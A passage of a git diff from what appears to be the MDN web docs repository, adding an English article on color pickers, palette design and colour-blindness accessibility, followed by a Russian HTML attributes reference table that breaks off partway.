+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Color set to " + colorPicker.value + ".";
+}, false);</pre>
+
+<p>The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.</p>
+
+<p>The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <code>&lt;p&gt;</code> element with the ID <code>"output"</code> to a string describing the finally selected color.</p>
+
+<h2 id="Using_color_wisely">Using color wisely</h2>
+
+<p>Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.</p>
+
+<h3 id="Finding_the_right_colors">Finding the right colors</h3>
+
+<p>Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.</p>
+
+<h4 id="Base_color">Base color</h4>
+
+<p>The first step is to choose your <strong>base color</strong>. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:</p>
+
+<ul>
+ <li>A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.</li>
+ <li>A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.</li>
+ <li>Browse web sites that let you look at lots of existing color palettes and imags to find inspiration.</li>
+</ul>
+
+<p>When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site <a href="http://www.colorzilla.com/">ColorZilla</a> offers an extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.</p>
+
+<div class="note">
+<p>The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.</p>
+</div>
+
+<h4 id="Fleshing_out_the_palette">Fleshing out the palette</h4>
+
+<p>Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.</p>
+
+<p>A few examples (all free to use as of the time this list was last revised):</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">MDN's color picker tool</a></li>
+ <li><a href="http://paletton.com">Paletton</a></li>
+ <li><a href="https://color.adobe.com/create/color-wheel">Adobe Color CC online color wheel</a></li>
+</ul>
+
+<p>When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.</p>
+
+<div class="note">
+<p>Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.</p>
+</div>
+
+<h3 id="Color_theory_resources">Color theory resources</h3>
+
+<p>A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:</p>
+
+<dl>
+ <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">Color Science</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> in association with <a href="https://www.pixar.com/">Pixar</a>)</dt>
+ <dd>An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.</dd>
+ <dt>{{interwiki("wikipedia", "Color theory")}} on Wikipedia</dt>
+ <dd>Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.</dd>
+</dl>
+
+<h3 id="Color_and_accessibility">Color and accessibility</h3>
+
+<p>There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.</p>
+
+<p>You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.</p>
+
+<div class="note">
+<p>The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.</p>
+</div>
+
+<p>For more information about color blindness, see the following articles:</p>
+
+<ul>
+ <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a> (United States National Institute of Health)</li>
+ <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
+ <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a> (Usability.gov: United States Department of Health and Human Services)</li>
+</ul>
+
+<h3 id="Palette_design_example">Palette design example</h3>
+
+<p>Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">Google search for photos of Mars</a>. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.</p>
+
+<p>Using an eyedropper tool, we identify a color we like and determine that the color in question is <code>#D79C7A</code>, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.</p>
+
+<p>Having selected our base color, we need to build out our palette. We decide to use <a href="http://www.paletteon.com/">Paletteon</a> to come up with the other colors we need. Upon opening Paletton, we see:</p>
+
+<p><img alt="Right after loading Paletton." src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
+
+<p>Next, we enter our color's hex code (<code>D79C7A</code>) into the "Base RGB" box at the bottom-left corner of the tool:</p>
+
+<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
+
+<p>We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is <code>#508D7C</code>.</p>
+
+<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
+
+<p>If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
+
+<p>That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's <code>#556E8D</code>. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
+
+<p>Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.</p>
+
+<p>Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
+ <li><a href="/en-US/docs/Tools/DevToolsColors">MDN's color picker tool</a></li>
+</ul>
diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html
new file mode 100644
index 0000000000..44f61d6c8a
--- /dev/null
+++ b/files/ru/web/html/attributes/index.html
@@ -0,0 +1,656 @@
+---
+title: Справочная информация по HTML атрибутам
+slug: Web/HTML/Attributes
+tags:
+  - HTML
+  - Reference
+  - Référence(2)
+  - Web
+  - Атрибут
+translation_of: Web/HTML/Attributes
+---
+<p>У элементов HTML есть <strong>атрибуты</strong>; это дополнительные значения, которые настраивают элементы или регулируют их поведение различным способом, чтобы соответствовать критериям пользователей.</p>
+
+<h2 id="Список_атрибутов">Список атрибутов</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Имя атрибута</th>
+   <th>Элементы</th>
+   <th>Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hidden</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML, даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Предотвращает генерирование данного элемента, в то время как сохраняет дочерние элементы, например, элементы script, active.</td>
+  </tr>
+  <tr>
+   <td><code>high</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Указывает нижнюю границу верхнего диапазона.</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+   <td> URL связанного ресурса.</td>
+  </tr>
+  <tr>
+   <td><code>hreflang</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>Указывает язык связанного ресурса.</td>
+  </tr>
+  <tr>
+   <td><code>http-equiv</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td>Указывает картинку, которая будет представлять команду.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Часто используется с CSS для стилизации заданного элемента. Значение атрибута должно быть уникальным.</td>
+  </tr>
+  <tr>
+   <td><code>ismap</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>Показывает, что изображение часть серверной карты изображений.</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>keytype</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Указывает тип сгенерированного ключа.</td>
+  </tr>
+  <tr>
+   <td><code>kind</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Указывает вид дорожки текста.</td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Указывает читабельный заголовок дорожки текста.</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет язык для используемого элемента.</td>
+  </tr>
+  <tr>
+   <td><code>language</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Определяет язык скрипта, используемый в элементе.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Задаёт список предустановленных опций для предложения пользователю.</td>
+  </tr>
+  <tr>
+   <td><code>loop</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+   <td>Указывает, следует ли медиа элементам начинать проигрывание сначала, после их завершения.</td>
+  </tr>
+  <tr>
+   <td><code>low</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Указывает верхнюю границу нижнего диапазона.</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{ HTMLElement("html") }}</td>
+   <td>Задает URL кешированного манифеста документа.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>Указывает максимальное допустимое значение.</td>
+  </tr>
+  <tr>
+   <td><code>maxlength</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Определяет максимальное количество символов, допустимых в элементе.</td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+   <td>Задаёт подсказку медиа, для которой, связанный ресурс был спроектирован.</td>
+  </tr>
+  <tr>
+   <td><code>method</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Определяет, какой HTTP метод использовать, когда отправлются данные формы. Может быть GET (по умолчанию) или POST.</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>Показывает минимальное допустимое значение.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Показывает могут ли быть выбраны множественные значения в input типа email или file.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+   <td>Имя элемента. К примеру, используется сервером для определения полей отправленной формы.</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Этот атрибут указывает, что форма не должна проверяться, когда передается на сервер.</td>
+  </tr>
+  <tr>
+   <td><code>open</code></td>
+   <td>{{ HTMLElement("details") }}</td>
+   <td>Указывает, отображать ли детали при загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>optimum</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Указывает оптимальное числовое значение.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Определяет регулярное выражение, которое будет проверять входные данные элемента.</td>
+  </tr>
+  <tr>
+   <td><code>ping</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Предоставляет подсказку пользователю, касательно того, что можно ввести в поле.</td>
+  </tr>
+  <tr>
+   <td><code>poster</code></td>
+   <td>{{ HTMLElement("video") }}</td>
+   <td>URL указывающий блок постера для показа, пока пользователь играет или ищет.</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Указывает загружать ли ресурс целиком, его часть или не загружать вовсе.</td>
+  </tr>
+  <tr>
+   <td><code>pubdate</code></td>
+   <td>{{ HTMLElement("time") }}</td>
+   <td>Указывает, что эта дата и время являются ли датой ближайшего элемента предка {{ HTMLElement("article") }}.</td>
+  </tr>
+  <tr>
+   <td><code>radiogroup</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Указывает, можно ли редактировать элемент.</td>
+  </tr>
+  <tr>
+   <td><code>rel</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>Задаёт отношение целевого объекта к объекту ссылки.</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Указывает, необходимо ли заполнять этот элемент или нет.</td>
+  </tr>
+  <tr>
+   <td><code>reversed</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Указывает, отображать ли список по убыванию, вместо того, чтобы показывать его по возрастанию.</td>
+  </tr>
+  <tr>
+   <td><code>rows</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Определяет количество строк в textarea.</td>
+  </tr>
+  <tr>
+   <td><code>rowspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Определяет количество строк ячейки таблицы, которые следует охватывать.</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Указывает, разрешена ли проверка правописания для этого элемента.</td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>{{ HTMLElement("th") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{ HTMLElement("style") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>seamless</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>Определяет значение, которое будет выделено при загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>shape</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Определяет ширину элемента (в пикселях). Если у элемента значение атрибута <code>type</code> — <code>text</code> или <code>password</code>, тогда это количество символов.</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>{{ HTMLElement("link") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>span</code></td>
+   <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+   <td>URL встраиваемого содержимого.</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srclang</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Определяет первый номер, если это не 1.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет CSS стили, которые перепишут установленные ранее стили.</td>
+  </tr>
+  <tr>
+   <td><code>summary</code></td>
+   <td>{{ HTMLElement("table") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Переписывает порядок Tab по умолчанию браузера и следует вместо него заданному.</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Текст, который будет отображаться в всплывающей подсказке, когда на него наведут указатель.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+   <td>Определяет тип элемента.</td>
+  </tr>
+  <tr>
+   <td><code>usemap</code></td>
+   <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+   <td>Определяет значение элемента по умолчанию, которое будет отображаться после загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>Примечание: в некоторых случаях, таких как {{ HTMLElement("div") }}, это устаревший атрибут, в этом случае используйте свойство CSS {{ Cssxref("width") }} вместо него. В других случаях, таких как {{ HTMLElement("canvas") }}, ширина должна быть задана этим атрибутом.</td>
+  </tr>
+  <tr>
+   <td><code>wrap</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Указывает, следует ли переносить текст.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>border</code></td>
+   <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+   <td>
+    <p>Ширина границы.</p>
+
+    <p>Примечание: это устаревший атрибут, используйте свойство CSS {{ Cssxref("border") }}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buffered</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Содержит отрезок времени уже буферизованного медиа.</td>
+  </tr>
+  <tr>
+   <td><code>challenge</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Строка вызова, которая передаётся вместе с публичным ключом.</td>
+  </tr>
+  <tr>
+   <td><code>charset</code></td>
+   <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+   <td>Определяет кодировку страницы или скрипта.</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+   <td>Указывает, следует ли отметить элемент при загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+   <td>Содержит URI, который указывает на источник цитаты или изменения.</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Часто используется вместе с CSS, чтобы стилизовать элементы с общими свойствами.</td>
+  </tr>
+  <tr>
+   <td><code>code</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>Указывает URL файла класса аплета для загрузки и выполнения.</td>
+  </tr>
+  <tr>
+   <td><code>codebase</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>Этот атрибут предоставляет абсолютный или относительный URL директории,  файлы аплета .class, на которые ссылаются в хранимом атрибуте кода.</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+   <td>
+    <p>Этот атрибут устанавливает цвет текста, используя либо название цвета, либо шестнадцатиричный формат #RRGGBB.</p>
+
+    <p>Примечание: это устаревший атрибут. Используйте CSS свойство {{ Cssxref("color") }}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cols</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Определяет количество столбцов в textarea.</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Определяет диапазон количества столбцов ячейки.</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td>Значение, ассоциированное с <code>http-equiv</code> или <code>name</code> зависит от контекста.</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Указывает, редактируется ли содержимое элемента.</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет ID элемента {{ HTMLElement("menu") }} который послужит, как контекстное меню элемента.</td>
+  </tr>
+  <tr>
+   <td><code>controls</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Указывает, следует ли отображать пользователю кнопки воспроизведения.</td>
+  </tr>
+  <tr>
+   <td><code>coords</code></td>
+   <td>{{ HTMLElement("area") }}</td>
+   <td>Набор значений, задающий координаты области для активного участка.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>data</code></p>
+   </td>
+   <td>
+    <p>{{ HTMLElement("object") }}</p>
+   </td>
+   <td>
+    <p>Задаёт URL ресурса.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>data-*</code></p>
+   </td>
+   <td>
+    <p><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></p>
+   </td>
+   <td>
+    <p>Позволяет прикрепить произвольные атрибуты для HTML элемента.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
+   <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+   <td>Указывает дату и время, ассоциированное с элементом.</td>
+  </tr>
+  <tr>
+   <td><code>default</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Указывает, что дорожка должна быть доступна, если пользовательские настройки не говорят об обратном.</td>
+  </tr>
+  <tr>
+   <td><code>defer</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Указывает, что скрипт должен быть запущен, после того как страница будет проанализирована.</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет направление текста. Допустимые значения ltr (Слева направо) или rtl (Справа налево).</td>
+  </tr>
+  <tr>
+   <td><code>dirname</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
